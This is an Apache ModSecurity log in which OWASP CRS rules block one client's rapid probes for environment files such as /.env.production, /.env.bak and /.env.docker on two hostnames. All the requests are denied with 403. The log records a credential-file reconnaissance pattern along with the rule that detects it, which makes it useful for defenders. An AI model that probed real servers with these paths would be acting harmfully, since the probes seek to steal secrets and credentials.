[Sat Oct 24 20:24:40.662411 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1MSDKiZtbKEGWJKoLVYwAAACE"]
[Sat Oct 24 20:24:40.662703 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1MSDKiZtbKEGWJKoLVYwAAACE"]
[Sat Oct 24 20:24:40.663096 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1MSDKiZtbKEGWJKoLVYwAAACE"]
[Sat Oct 24 20:24:40.698680 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1MSK7eSgqEqaOPQgT8BgAAAAI"]
[Sat Oct 24 20:24:40.698972 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1MSK7eSgqEqaOPQgT8BgAAAAI"]
[Sat Oct 24 20:24:40.699281 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at1MSK7eSgqEqaOPQgT8BgAAAAI"]
[Sat Oct 24 20:24:40.804126 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1MSDKiZtbKEGWJKoLVZAAAACE"]
[Sat Oct 24 20:24:40.804404 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1MSDKiZtbKEGWJKoLVZAAAACE"]
[Sat Oct 24 20:24:40.804743 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1MSDKiZtbKEGWJKoLVZAAAACE"]
[Sat Oct 24 20:24:40.840700 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1MSK7eSgqEqaOPQgT8BwAAAAI"]
[Sat Oct 24 20:24:40.840958 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1MSK7eSgqEqaOPQgT8BwAAAAI"]
[Sat Oct 24 20:24:40.841261 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at1MSK7eSgqEqaOPQgT8BwAAAAI"]
[Sat Oct 24 20:24:40.941966 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1MSDKiZtbKEGWJKoLVZQAAACE"]
[Sat Oct 24 20:24:40.942209 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1MSDKiZtbKEGWJKoLVZQAAACE"]
[Sat Oct 24 20:24:40.942553 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1MSDKiZtbKEGWJKoLVZQAAACE"]
[Sat Oct 24 20:24:40.978042 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1MSK7eSgqEqaOPQgT8CAAAAAI"]
[Sat Oct 24 20:24:40.978268 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1MSK7eSgqEqaOPQgT8CAAAAAI"]
[Sat Oct 24 20:24:40.978637 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at1MSK7eSgqEqaOPQgT8CAAAAAI"]
[Sat Oct 24 20:24:41.079923 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1MSTKiZtbKEGWJKoLVZgAAACE"]
[Sat Oct 24 20:24:41.080256 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1MSTKiZtbKEGWJKoLVZgAAACE"]
[Sat Oct 24 20:24:41.080695 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1MSTKiZtbKEGWJKoLVZgAAACE"]
[Sat Oct 24 20:24:41.116799 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1MSa7eSgqEqaOPQgT8CQAAAAI"]
[Sat Oct 24 20:24:41.117032 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1MSa7eSgqEqaOPQgT8CQAAAAI"]
[Sat Oct 24 20:24:41.117391 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at1MSa7eSgqEqaOPQgT8CQAAAAI"]
[Sat Oct 24 20:24:41.217336 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1MSTKiZtbKEGWJKoLVZwAAACE"]
[Sat Oct 24 20:24:41.217613 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1MSTKiZtbKEGWJKoLVZwAAACE"]
[Sat Oct 24 20:24:41.217996 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1MSTKiZtbKEGWJKoLVZwAAACE"]
[Sat Oct 24 20:24:41.253837 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1MSa7eSgqEqaOPQgT8CgAAAAI"]
[Sat Oct 24 20:24:41.254096 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1MSa7eSgqEqaOPQgT8CgAAAAI"]
[Sat Oct 24 20:24:41.254458 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at1MSa7eSgqEqaOPQgT8CgAAAAI"]
[Sat Oct 24 20:24:41.353788 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1MSTKiZtbKEGWJKoLVaAAAACE"]
[Sat Oct 24 20:24:41.354052 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1MSTKiZtbKEGWJKoLVaAAAACE"]
[Sat Oct 24 20:24:41.354378 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1MSTKiZtbKEGWJKoLVaAAAACE"]
[Sat Oct 24 20:24:41.393861 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1MSa7eSgqEqaOPQgT8CwAAAAI"]
[Sat Oct 24 20:24:41.394103 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1MSa7eSgqEqaOPQgT8CwAAAAI"]
[Sat Oct 24 20:24:41.394444 2026] [security2:error] [pid 2724376:tid 2724376] [client 34.165.102.179:32888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic2.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1MSa7eSgqEqaOPQgT8CwAAAAI"]
[Sat Oct 24 20:24:41.490663 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1MSTKiZtbKEGWJKoLVaQAAACE"]
[Sat Oct 24 20:24:41.490922 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1MSTKiZtbKEGWJKoLVaQAAACE"]
[Sat Oct 24 20:24:41.491255 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.165.102.179:32870] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1MSTKiZtbKEGWJKoLVaQAAACE"]
